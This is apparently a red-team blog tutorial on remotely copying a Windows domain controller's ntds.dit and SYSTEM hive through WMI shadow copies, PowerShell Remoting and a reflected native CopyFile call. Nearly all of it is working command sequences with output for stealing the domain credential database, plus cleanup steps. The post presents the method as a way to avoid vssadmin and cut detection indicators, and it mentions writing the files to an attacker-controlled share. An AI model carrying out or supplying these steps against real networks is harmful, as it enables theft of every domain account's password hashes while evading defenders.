Stealing the NTDS.dit File Remotely using the WMI Win32_ShadowCopy Class

Dumping password hashes is a pretty common task during pentest and red team engagements. For domain controllers, it can be done a number of different ways including, but not limited to, DCSync (drsuapi), lsadump, and parsing the ntds.dit directly.  Sean Metcalf has already covered how to execute the password hash recovery both locally and remotely in an amazing blog. Each with its own set of IoCs.  In this post I’ll cover yet another method for recovering the ntds.dit file remotely using WMI Volume Shadow Copy methods, but the methods described here could also be used to retrieve local password hashes from the SAM and SYSTEM file. Please note the technique described here does require domain administrative privileges.

Why would I use this technique?

On the whole, this technique will provide penetration testers with another means of dumping the ntds.dit via volume shadow copies without having to call the vssadmin.exe tool.  This helps to decrease the number of indicator related to the attack.  Testing with this method can also help to push against blue team’s defense to make sure they can identify slight variations on this common attack.

Let’s See Some Command Examples

Let’s just jump right into it. Below are the PowerShell WMI commands to dump the ntds from a remote domain controller using the Win32_ShadowCopy class functions.

  1. First, map the c$ of the target domain controller. This isn’t required, but can simplify the process.
    PS C:\windows\system32> New-PSDrive -Name "S" -Root "\\\c$" -PSProvider "FileSystem"
    Name           Used (GB)     Free (GB) Provider      Root
    ----           ---------     --------- --------      ----
    S                                      FileSystem    \\\c$
    PS C:\windows\system32> cd s:
    PS S:\> ls
        Directory: \\\c$
    Mode                LastWriteTime     Length Name
    ----                -------------     ------ ----
    d----         2/13/2015   8:27 PM            PerfLogs
    d-r--         8/26/2016   8:00 PM            Program Files
    d-r--         6/13/2016   7:00 PM            Program Files (x86)
    d-r--         12/5/2016   2:38 PM            Users
    d----          2/5/2017   4:16 PM            Windows
  2. Then, create a shadow copy of the C:\ drive on the remote domain controller using the “Win32_ShadowCopy” class. Note that the new shadow copy has a unique “ShadowId”.
    PS S:\> $wmi = Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList 'ClientAccessible','C:\' -ComputerName
    PS S:\> $wmi
    __GENUS          : 2
    __CLASS          : __PARAMETERS
    __SUPERCLASS     :
    __DYNASTY        : __PARAMETERS
    __RELPATH        :
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    ReturnValue      : 0
    ShadowID         : {7DE8D573-A8BFB-41E6-92F6-A34938E432FC}
    PSComputerName   :
  3. Next, convert the “ShadowId” to a string and use it to query the domain controller for more information about the shadow copy. Specifically, we want the “DeviceObject”. This will give us the path to our newly created shadow copy.
    PS S:\> $ShadowID = $wmi.ShadowID.ToString()
    PS S:\> $ShadowID
    PS S:\> $ShadowCopy = Get-WmiObject -Query "SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = '$ShadowID'" -ComputerName
    PS S:\> $ShadowCopy
    __GENUS          : 2
    __CLASS          : Win32_ShadowCopy
    __SUPERCLASS     :
    __DYNASTY        :
    __RELPATH        :
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    DeviceObject     : \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1621
    PSComputerName   :
  4. Next, convert the “DeviceObject” to a string so it can be used in future WMI queries.
    PS S:\> $DeviceObject = $ShadowCopy.DeviceObject.ToString()
    PS S:\> $DeviceObject
  5. Now copy the ntds.dit directly from the shadow copy path on the domain controller using the WMI “Win32_Process” class. By default, the ntds.dit can be stored in both the C:\Windows\NTDS and C:\Windows\System32\ directories. Below are example commands for both.
    PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\System32\ntds.dit C:\" -ComputerName
    PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\NTDS\ntds.dit C:\" -ComputerName
    PS S:\> Copy-Item S:\ntds.dit C:\
    PS S:\> Remove-Item S:\ntds.dit
    PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\System32\config\SYSTEM C:\" -ComputerName
    PS S:\> Copy-Item S:\SYSTEM.dit C:\
    PS S:\> Remove-Item S:\SYSTEM
    PS S:\> Set-Location C:\
    PS C:\> Remove-PSDrive S

But what if the ntds.dit file isn’t stored on the C drive?

Surprise! Sometimes admins put system files in strange places. If you can’t find the ntds.dit in its default locations, you can determine where it’s hiding by looking in the registry.  Below I’ll show how to use PowerShell Remoting to look up the alternative location and dump the ntds.dit.

  1. To prep our box we are going to enable PowerShell Remoting, enabled the WinRM service, and set the domain controller as a trusted host.
    PS C:\> Enable-PSRemoting –Force –SkipNetworkProfileCheck
    PS C:\> Start-Service WinRM
    WinRM Security Configuration.
    This command modifies the TrustedHosts list for the WinRM client. The computers
    in the TrustedHosts list might not be authenticated. The client might send
    credential information to these computers. Are you sure that you want to modify
    this list?
    [Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): Y
  2. Now start a new PowerShell Remoting session to the domain controller. From there we can grab the location of the elusive non-standard ntds.dit file path.
    PS C:\> Enter-PSSession
    []: PS C:\Users\admin\Documents> Set-Location C:\
    []: PS C:\> $DitPath = (Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters -Name "DSA Database file").'DSA Database file'
    []: PS C:\> $DitPath

This could also be done remotely via WMI

PS C:\> $Hive = [uint32]2147483650
PS C:\> $Key = "SYSTEM\\CurrentControlSet\\Services\\NTDS\Parameters"
PS C:\> $Value = "DSA Database File"
PS C:\> $DitPath = (Invoke-WmiMethod -Class StdRegProv -Name GetStringValue -ArguementList $Hive, $Key, $Value -ComputerName
PS C:\> $DitPath
  1. Now that we have the path we’ll create our shadow copy and grab the “DeviceObject” so we can copy the file off.
    []: PS C:\> $DitRelativePath = $DitPath.Split("\")[1..($DitPath.Length)] -Join "\"
    []: PS C:\> $wmi = Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList 'ClientAccessible','F:\'
    []: PS C:\> $wmi
    __GENUS          : 2
    __CLASS          : __PARAMETERS
    __SUPERCLASS     :
    __DYNASTY        : __PARAMETERS
    __RELPATH        :
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    ReturnValue      : 0
    ShadowID         : {A6EAFEDD-8FB2-4EBE-A13B-C992C7E2E265}
    PSComputerName   :
    []: PS C:\> $ShadowID = $wmi.ShadowID.ToString()
    []: PS C:\> $ShadowCopy = Get-WmiObject -Class Win32_ShadowCopy -Property DeviceObject -Filter "ID = '$($wmi.ShadowID)'"
    []: PS C:\> $ShadowCopy
    __GENUS          : 2
    __CLASS          : Win32_ShadowCopy
    __SUPERCLASS     :
    __DYNASTY        :
    __RELPATH        :
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    DeviceObject     : \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1641
    PSComputerName   :
    []: PS C:\> $DeviceObject = $ShadowCopy.DeviceObject.ToString()
    []: PS C:\> $DeviceObject
  2. The powershell native Copy-Item fails to retrieve the file from the VolumeShadow Copy snapshot. So we are going to get fancy with our file copy to change it up a little. First we are going to get the runtime version and directory of .net.
    []: PS C:\> $mscorlib = [System.Reflection.Assembly]::LoadFile("$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())mscorlib.dll")
    []: PS C:\> $mscorelib
    GAC    Version        Location
    ---    -------        --------
    True   v4.0.30319     C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorl...
  3. Next, we instantiate an object from the “Win32.Win32Native” class.
    []: PS C:\> $Win32Native = $mscorlib.GetType(‘Microsoft.Win32.Win32Native’)
    []: PS C:\> $Win32Native
    IsPublic IsSerial Name                                     BaseType
    -------- -------- ----                                     --------
    False    False    Win32Native                              System.Object
  4. This object will then be used to call the native “CopyFile”.
    []: PS C:\> $CopyFile =  $Win32Native.GetMethod(‘CopyFile’, ([Reflection.BindingFlags] ‘NonPublic, Static’))
    []: PS C:\> $CopyFile
    Name                       : CopyFile
    DeclaringType              : Microsoft.Win32.Win32Native
    ReflectedType              : Microsoft.Win32.Win32Native
    MemberType                 : Method
    MetadataToken              : 100677580
    Module                     : CommonLanguageRuntimeLibrary
    IsSecurityCritical         : True
    IsSecuritySafeCritical     : False
    IsSecurityTransparent      : False
    MethodHandle               : System.RuntimeMethodHandle
    Attributes                 : PrivateScope, Assembly, Static, HideBySig,
    CallingConvention          : Standard
    ReturnType                 : System.Boolean
    ReturnTypeCustomAttributes : Boolean
    ReturnParameter            : Boolean
    IsGenericMethod            : False
    IsGenericMethodDefinition  : False
    ContainsGenericParameters  : False
    MethodImplementationFlags  : PreserveSig
    IsPublic                   : False
    IsPrivate                  : False
    IsFamily                   : False
    IsAssembly                 : True
    IsFamilyAndAssembly        : False
    IsFamilyOrAssembly         : False
    IsStatic                   : True
    IsFinal                    : False
    IsVirtual                  : False
    IsHideBySig                : True
    IsAbstract                 : False
    IsSpecialName              : False
    IsConstructor              : False
    CustomAttributes           : {[System.Runtime.InteropServices.DllImportAttribut
                                 e("kernel32.dll", EntryPoint = "CopyFile",
                                 CharSet = 4, ExactSpelling = False, SetLastError
                                 = True, PreserveSig = True, CallingConvention =
                                 1, BestFitMapping = False, ThrowOnUnmappableChar
                                 = False)], [System.Runtime.InteropServices.Preserv
  5. Next we are going to copy the ntds.dit and SYSTEM files to the C:\ drive on the domain controller. The SYSTEM file is also downloaded so the boot key can be extracted to decrypt the ntds.dit file.Note: could also be directly written to a network share the attacker controls.
    []: PS C:\> $CopyFile.Invoke($null, @("$DeviceObject\$DitRelativePath", "C:\ntds.dit", $false))
    []: PS C:\> $CopyFile.Invoke($null, @("$DeviceObject\Windows\System32\config\SYSTEM", "C:\SYSTEM", $false))
  6. Now copy our files off of the C:\ drive of the domain controller, and clean up.
    []: PS C:\> Exit-PSSession
    PS C:\> New-PSDrive -Name "S" -Root "\\\c$" -PSProvider "FileSystem"
    PS C:\> Copy-Item S:\ntds.dit C:\
    PS C:\> Remove-Item S:\ntds.dit
    PS C:\> Copy-Item S:\SYSTEM C:\
    PS C:\> Remove-Item S:\SYSTEM
    PS C:\> Remove-PSDrive "S"

After you have the ntds.dit you can parse it offline using a variety of tools.